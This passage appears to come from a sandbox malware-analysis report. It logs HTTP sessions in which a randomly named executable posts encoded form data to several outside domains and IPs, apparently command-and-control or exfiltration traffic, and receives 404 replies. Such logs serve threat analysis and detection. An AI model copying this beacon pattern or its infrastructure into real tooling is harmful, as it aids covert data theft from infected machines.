67 77 6f 33 70 49 78 53 66 4d 44 73 41 38 4e 56 63 49 6b 72 4d 38 36 4e 6a 75 30 32 39 65 72 62 6f 62 56 59 34 70 74 44 75 54 4b 6b 48 55 67 44 32 31 4f 48 47 4e 72 74 6e 34 54 43 4f 72 4c 61 37 33 6e 31 54 57 36 79 45 66 76 33 76 2f 32 53 74 79 43 61 71 2f 57 6f 5a 52 4b 48 53 43 54 4a 32 38 53 32 46 58 4b 78 67 74 44 31 48 51 65 52 4a 43 53 55 47 4a 6a 36 5a 44 55 44 32 39 74 52 47 68 51 3d 3d Data Ascii: Z6ZTG=AHhv25oKm2tq8FI2c4Nld+wxSD8/lCxAxaNUDhcMpEyC6+ssmp9l7UwBg40I8N5a3U0ZR9qzG7oaCEjtYLTQy0T/KsQLiZqgwo3pIxSfMDsA8NVcIkrM86Nju029erbobVY4ptDuTKkHUgD21OHGNrtn4TCOrLa73n1TW6yEfv3v/2StyCaq/WoZRKHSCTJ28S2FXKxgtD1HQeRJCSUGJj6ZDUD29tRGhQ==
Jul 3, 2024 18:53:17.413774967 CEST	367	IN	HTTP/1.1 404 Not Found Date: Wed, 03 Jul 2024 16:53:17 GMT Server: Apache Content-Length: 203 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 68 66 6d 6d 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /hfmm/ was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	49735	81.88.57.70	80	5680	C:\Program Files (x86)\NXLBzGBJZEKXLSDXbGEARvNAbdTqqXUHbIINICYaWMGxMje\NwXvnHITawmpBkkZKEXJ.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 18:53:19.276115894 CEST	1767	OUT	POST /hfmm/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.videos60.com Origin: http://www.videos60.com Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Content-Length: 1246 Referer: http://www.videos60.com/hfmm/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0 Data Raw: 5a 36 5a 54 47 3d 41 48 68 76 32 35 6f 4b 6d 32 74 71 38 46 49 32 63 34 4e 6c 64 2b 77 78 53 44 38 2f 6c 43 78 41 78 61 4e 55 44 68 63 4d 70 45 71 43 36 49 59 73 30 50 31 6c 34 55 77 42 38 49 30 4a 38 4e 35 4c 33 55 73 64 52 38 58 49 47 35 67 61 41 6e 72 74 4a 4a 37 51 6f 6b 54 2f 49 73 51 49 73 35 72 36 77 6f 48 74 49 78 43 66 4d 44 73 41 38 50 4e 63 4d 32 50 4d 2b 36 4e 67 74 30 32 78 61 72 62 54 62 56 41 47 70 74 47 56 53 36 45 48 58 41 54 32 32 38 66 47 53 62 74 6c 2f 54 43 6f 72 4c 57 67 33 6e 6f 69 57 2b 36 75 66 6f 66 76 70 52 37 4f 6a 78 43 65 6f 67 39 35 4e 62 50 4e 4b 6b 6c 45 37 45 71 6d 61 5a 59 52 30 51 56 5a 59 37 4a 6a 47 45 4a 2f 46 52 79 33 45 41 36 67 31 70 38 69 2b 67 78 75 32 46 61 6d 31 4a 5a 78 30 77 54 6b 32 68 70 2b 79 59 33 77 45 2b 76 48 46 6a 35 43 4e 6d 6e 4e 6d 70 4a 44 65 30 45 6e 66 48 2f 31 6f 4b 48 73 68 4c 59 48 75 6d 35 68 61 73 42 2f 55 6c 6c 41 30 38 66 45 53 55 68 78 75 39 4a 6f 70 65 2f 73 68 51 48 65 6f 53 31 75 4d 47 75 4e 70 37 64 37 6e 79 6a 66 41 2b 57 46 [TRUNCATED] Data Ascii: Z6ZTG=AHhv25oKm2tq8FI2c4Nld+wxSD8/lCxAxaNUDhcMpEqC6IYs0P1l4UwB8I0J8N5L3UsdR8XIG5gaAnrtJJ7QokT/IsQIs5r6woHtIxCfMDsA8PNcM2PM+6Ngt02xarbTbVAGptGVS6EHXAT228fGSbtl/TCorLWg3noiW+6ufofvpR7OjxCeog95NbPNKklE7EqmaZYR0QVZY7JjGEJ/FRy3EA6g1p8i+gxu2Fam1JZx0wTk2hp+yY3wE+vHFj5CNmnNmpJDe0EnfH/1oKHshLYHum5hasB/UllA08fESUhxu9Jope/shQHeoS1uMGuNp7d7nyjfA+WFZrPzQ7ElV9oE1Okg2zpwJQG74+8TYQrB6/ADUlzucQiGjqnwAzaNzC2z2rJMP2qNpcezJpMN1GtERSZNtB9PrFzlAHwIE5daVOvgwLYAyAuoiPI3s3O6lAQAEq0ag/OUXuAroAY3yEIEv9gim3XX2V7jMzD+Y5LXSH6V8jtS1ig9h52sOd86ZsZEwIsnHpo11+FEOQTi9z4t83RgeJvAiCxgb44zRxu+AxPepKanA54Nc1nsGOzzJBJP2fC+ERgVpVGi0NZ9SpOYWFZ3kbt8YA2AZ8OGwkUHjj228cmE7YlONqTL2gvA3SWLOhL9laZ+SC/Fx70bLaAmKBMAKSce08Eun6aL17kSAm5tIlNl957zAO3jarTv9a04h3IarixBlNmLnPSdZLSbssAE2O/1mEbbx8eCXV3KVZAKNTouuqbXa0sz6C28pmtID9TI2yrGxb+tjtnj3SLZtKRZmJyZ++wU4sIMylYcydrPoSDMgNpSeoTy2GZBRORnGCzEY8FiHOkD4i3bJZjBhOn6WCw/VdOMOMoCAZSILPdpd/IRsvMaFM9PYWQhdt1HxbtNBQhbvh9TrToArUUYng92dWlK9QkWpMKVBmbCyGzgpGN/xwytBf0x88gZv8phbT2vOpFdt6HrNjmcO3zc+G/2cC01uRzshhlMnZeLE6 [TRUNCATED]
Jul 3, 2024 18:53:19.942409039 CEST	367	IN	HTTP/1.1 404 Not Found Date: Wed, 03 Jul 2024 16:53:19 GMT Server: Apache Content-Length: 203 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 68 66 6d 6d 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /hfmm/ was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	49736	81.88.57.70	80	5680	C:\Program Files (x86)\NXLBzGBJZEKXLSDXbGEARvNAbdTqqXUHbIINICYaWMGxMje\NwXvnHITawmpBkkZKEXJ.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 18:53:21.807485104 CEST	478	OUT	GET /hfmm/?Z6ZTG=NFJP1MENpWop4mQ2Zs5LCbA0YH8E+xFn0ZZfcGEEhmCw8vkYycZHoGwi7KU1tu5K8k8nV/m8HY5DGkDycaipo03uFrN3sKGd/4X9PAy/KU8mrpcfTGbb4advs0SPZoPYPk8rppw=&3pSl=bXiTJHhxyN HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.videos60.com Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0
Jul 3, 2024 18:53:22.644169092 CEST	367	IN	HTTP/1.1 404 Not Found Date: Wed, 03 Jul 2024 16:53:22 GMT Server: Apache Content-Length: 203 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 68 66 6d 6d 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /hfmm/ was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	49737	203.161.49.220	80	5680	C:\Program Files (x86)\NXLBzGBJZEKXLSDXbGEARvNAbdTqqXUHbIINICYaWMGxMje\NwXvnHITawmpBkkZKEXJ.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 18:53:27.820875883 CEST	736	OUT	POST /ei4t/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.vertilehub.xyz Origin: http://www.vertilehub.xyz Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Content-Length: 210 Referer: http://www.vertilehub.xyz/ei4t/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0 Data Raw: 5a 36 5a 54 47 3d 69 4c 69 65 53 49 46 5a 30 48 78 65 62 34 38 55 6d 62 71 46 4b 6b 51 69 57 56 67 33 4f 6b 59 72 32 53 66 63 46 53 73 6e 33 6c 79 58 6b 36 73 38 2b 41 39 48 41 71 36 52 6c 5a 6a 4e 61 6f 67 6f 4f 34 34 76 66 43 79 6b 62 6d 39 65 52 4f 4c 41 53 36 56 55 38 43 58 35 41 33 35 34 37 38 57 73 48 37 30 6c 30 57 76 7a 61 70 35 42 52 4b 45 53 4c 37 2f 38 35 5a 37 72 71 6e 6c 73 4f 78 34 79 34 6b 71 5a 5a 72 51 67 45 6b 68 51 73 4d 78 72 4a 50 56 64 64 42 39 70 75 33 31 76 56 31 71 62 70 39 4b 34 51 50 62 74 57 79 71 75 70 41 71 54 34 39 43 73 37 67 2b 4f 44 55 4c 35 45 57 2f 43 43 76 61 56 38 4f 54 31 43 39 53 6d Data Ascii: Z6ZTG=iLieSIFZ0Hxeb48UmbqFKkQiWVg3OkYr2SfcFSsn3lyXk6s8+A9HAq6RlZjNaogoO44vfCykbm9eROLAS6VU8CX5A35478WsH70l0Wvzap5BRKESL7/85Z7rqnlsOx4y4kqZZrQgEkhQsMxrJPVddB9pu31vV1qbp9K4QPbtWyqupAqT49Cs7g+ODUL5EW/CCvaV8OT1C9Sm
Jul 3, 2024 18:53:28.443382025 CEST	533	IN	HTTP/1.1 404 Not Found Date: Wed, 03 Jul 2024 16:53:28 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	49738	203.161.49.220	80	5680	C:\Program Files (x86)\NXLBzGBJZEKXLSDXbGEARvNAbdTqqXUHbIINICYaWMGxMje\NwXvnHITawmpBkkZKEXJ.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 18:53:30.354630947 CEST	760	OUT	POST /ei4t/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.vertilehub.xyz Origin: http://www.vertilehub.xyz Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Content-Length: 234 Referer: http://www.vertilehub.xyz/ei4t/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0 Data Raw: 5a 36 5a 54 47 3d 69 4c 69 65 53 49 46 5a 30 48 78 65 55 34 4d 55 67 49 43 46 4d 45 51 68 59 31 67 33 5a 30 59 52 32 53 62 63 46 54 59 33 30 57 57 58 6b 66 6f 38 39 42 39 48 42 71 36 52 75 35 69 48 55 49 67 7a 4f 2f 78 59 66 43 2b 6b 62 6c 42 65 52 50 62 41 53 71 70 56 74 43 58 42 4d 58 35 2b 6b 73 57 73 48 37 30 6c 30 57 72 56 61 70 42 42 52 62 30 53 4b 5a 62 2f 6d 70 37 6f 70 6e 6c 73 4b 78 34 70 34 6b 72 4d 5a 70 30 61 45 6d 5a 51 73 4e 42 72 48 37 4a 53 53 42 39 76 78 48 30 49 47 6c 72 68 68 39 37 61 57 70 62 51 48 51 75 70 6c 57 72 4a 6b 4f 43 50 70 77 65 4d 44 57 54 4c 45 32 2f 6f 41 76 69 56 75 5a 66 53 4e 4a 33 46 50 63 6d 48 44 54 59 67 59 38 4d 69 51 58 72 5a 4a 2f 68 35 76 51 3d 3d Data Ascii: Z6ZTG=iLieSIFZ0HxeU4MUgICFMEQhY1g3Z0YR2SbcFTY30WWXkfo89B9HBq6Ru5iHUIgzO/xYfC+kblBeRPbASqpVtCXBMX5+ksWsH70l0WrVapBBRb0SKZb/mp7opnlsKx4p4krMZp0aEmZQsNBrH7JSSB9vxH0IGlrhh97aWpbQHQuplWrJkOCPpweMDWTLE2/oAviVuZfSNJ3FPcmHDTYgY8MiQXrZJ/h5vQ==
Jul 3, 2024 18:53:31.023020029 CEST	533	IN	HTTP/1.1 404 Not Found Date: Wed, 03 Jul 2024 16:53:30 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	49739	203.161.49.220	80	5680	C:\Program Files (x86)\NXLBzGBJZEKXLSDXbGEARvNAbdTqqXUHbIINICYaWMGxMje\NwXvnHITawmpBkkZKEXJ.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 18:53:32.885875940 CEST	1773	OUT	POST /ei4t/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.vertilehub.xyz Origin: http://www.vertilehub.xyz Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Content-Length: 1246 Referer: http://www.vertilehub.xyz/ei4t/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0 Data Raw: 5a 36 5a 54 47 3d 69 4c 69 65 53 49 46 5a 30 48 78 65 55 34 4d 55 67 49 43 46 4d 45 51 68 59 31 67 33 5a 30 59 52 32 53 62 63 46 54 59 33 30 57 65 58 6b 74 67 38 2b 69 56 48 43 71 36 52 6e 5a 69 4b 55 49 68 68 4f 35 5a 55 66 43 44 54 62 6a 4e 65 4c 6f 62 41 47 49 4e 56 6b 43 58 42 52 6e 35 37 37 38 57 44 48 37 6b 68 30 58 62 56 61 70 42 42 52 5a 73 53 44 72 2f 2f 31 35 37 72 71 6e 6c 67 4f 78 35 47 34 6e 61 33 5a 70 68 74 46 57 35 51 76 74 52 72 4c 6f 68 53 62 42 39 58 79 48 30 51 47 6c 6e 45 68 2b 50 38 57 70 48 36 48 51 71 70 6e 43 79 42 67 2b 7a 4a 30 78 6d 36 41 58 6e 4b 50 77 2f 34 61 64 2f 73 75 4a 62 6b 4e 4b 33 51 4c 34 2b 6e 47 53 56 44 4e 74 41 64 63 53 72 58 44 4f 77 41 78 2f 79 62 67 52 6f 72 43 4b 34 4b 6c 41 61 79 43 36 76 71 66 53 52 37 4e 73 58 62 6a 6f 44 6b 6a 46 4e 4d 37 2b 46 4b 42 61 76 65 68 52 6c 50 4b 6b 72 4d 6f 65 69 68 37 56 76 45 4d 36 32 30 74 7a 75 79 71 76 74 78 4e 73 73 48 71 39 74 77 36 41 63 5a 44 6e 51 50 71 4d 33 6d 50 59 77 33 7a 36 47 73 6c 45 46 61 58 4c 35 35 [TRUNCATED] Data Ascii: Z6ZTG=iLieSIFZ0HxeU4MUgICFMEQhY1g3Z0YR2SbcFTY30WeXktg8+iVHCq6RnZiKUIhhO5ZUfCDTbjNeLobAGINVkCXBRn5778WDH7kh0XbVapBBRZsSDr//157rqnlgOx5G4na3ZphtFW5QvtRrLohSbB9XyH0QGlnEh+P8WpH6HQqpnCyBg+zJ0xm6AXnKPw/4ad/suJbkNK3QL4+nGSVDNtAdcSrXDOwAx/ybgRorCK4KlAayC6vqfSR7NsXbjoDkjFNM7+FKBavehRlPKkrMoeih7VvEM620tzuyqvtxNssHq9tw6AcZDnQPqM3mPYw3z6GslEFaXL55c++a484STyZd7oj7DFB1aUCTDU5UGsmQ0lkvB0fVOSLqLEC+ED+qiZ52YqkEGrxSsEkxb4VGNjRsRvnGxzbfTCg1CiRJ4igqG2UvjCm5Ww6QTcnCK6bNyVuHXcSisSlYX2QyxcGDeQgBVgug5LN2w4MmQZq8WRB52tQxJgHUNK6DQtWcyvAemwStHggKckfYRu+HrqKJ4UT5Xe1MBqAUmJk6s9iUhl+5m+SMILsBM7oDvzyvoqkzt3Ng145QhOqcKVErSDqJYGbayzfrRJ+JwadEX0encd2EVbWIZxC1wyF1pXneDS8EMB8a90rNnHyiRAOX2YcXvL9lat/u7Op4lE+8b1k9b1JqMIAhV3C+n/Pto+Ap8qitk9IyTKxU8JHGcO1rp1HgTLjUygJsCTKBKt2ybpTf7VMgL7t6by5bmdfoO/MQcPobHqdXRU6G7Gp+2/RjTyB+SOjUdKOxjGPUDbtb/RkcSqAq1TldbiOaOpwy0husMHa2lEi9vxaLsx9XCg/pTgjpsjMZUwQkI7jANLhnnFO25f/OTNSxlOv1U+3P7ROFyVIMs4bbBoWTo61ebfhvsX42lwetogWjJAg0JcxVwhyL7f4D0obBGk6W/8mT0dUi67RCB0YGb+0L7oFhPvyV2U82pQwckCnOKnvcsOXWBQBPCbbWNY [TRUNCATED]
Jul 3, 2024 18:53:33.485022068 CEST	533	IN	HTTP/1.1 404 Not Found Date: Wed, 03 Jul 2024 16:53:33 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	49740	203.161.49.220	80	5680	C:\Program Files (x86)\NXLBzGBJZEKXLSDXbGEARvNAbdTqqXUHbIINICYaWMGxMje\NwXvnHITawmpBkkZKEXJ.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 18:53:35.418169022 CEST	480	OUT	GET /ei4t/?3pSl=bXiTJHhxyN&Z6ZTG=vJK+R49o60hMb5R0zuW0LjMDSBoWblw/xm7bGUo972WEnNUAqilJR4ikt7uwBrcRV8UZThTaEWZ7S+DdGKZTmgrpJBBQs9ifJOYm4nfBSZlzTv8zXZPL/ZPwonFSFx1LsUa4ZMM= HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.vertilehub.xyz Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0
Jul 3, 2024 18:53:36.031656027 CEST	548	IN	HTTP/1.1 404 Not Found Date: Wed, 03 Jul 2024 16:53:35 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	49741	152.32.156.214	80	5680	C:\Program Files (x86)\NXLBzGBJZEKXLSDXbGEARvNAbdTqqXUHbIINICYaWMGxMje\NwXvnHITawmpBkkZKEXJ.exe

Timestamp	Bytes transferred	Direction	Data
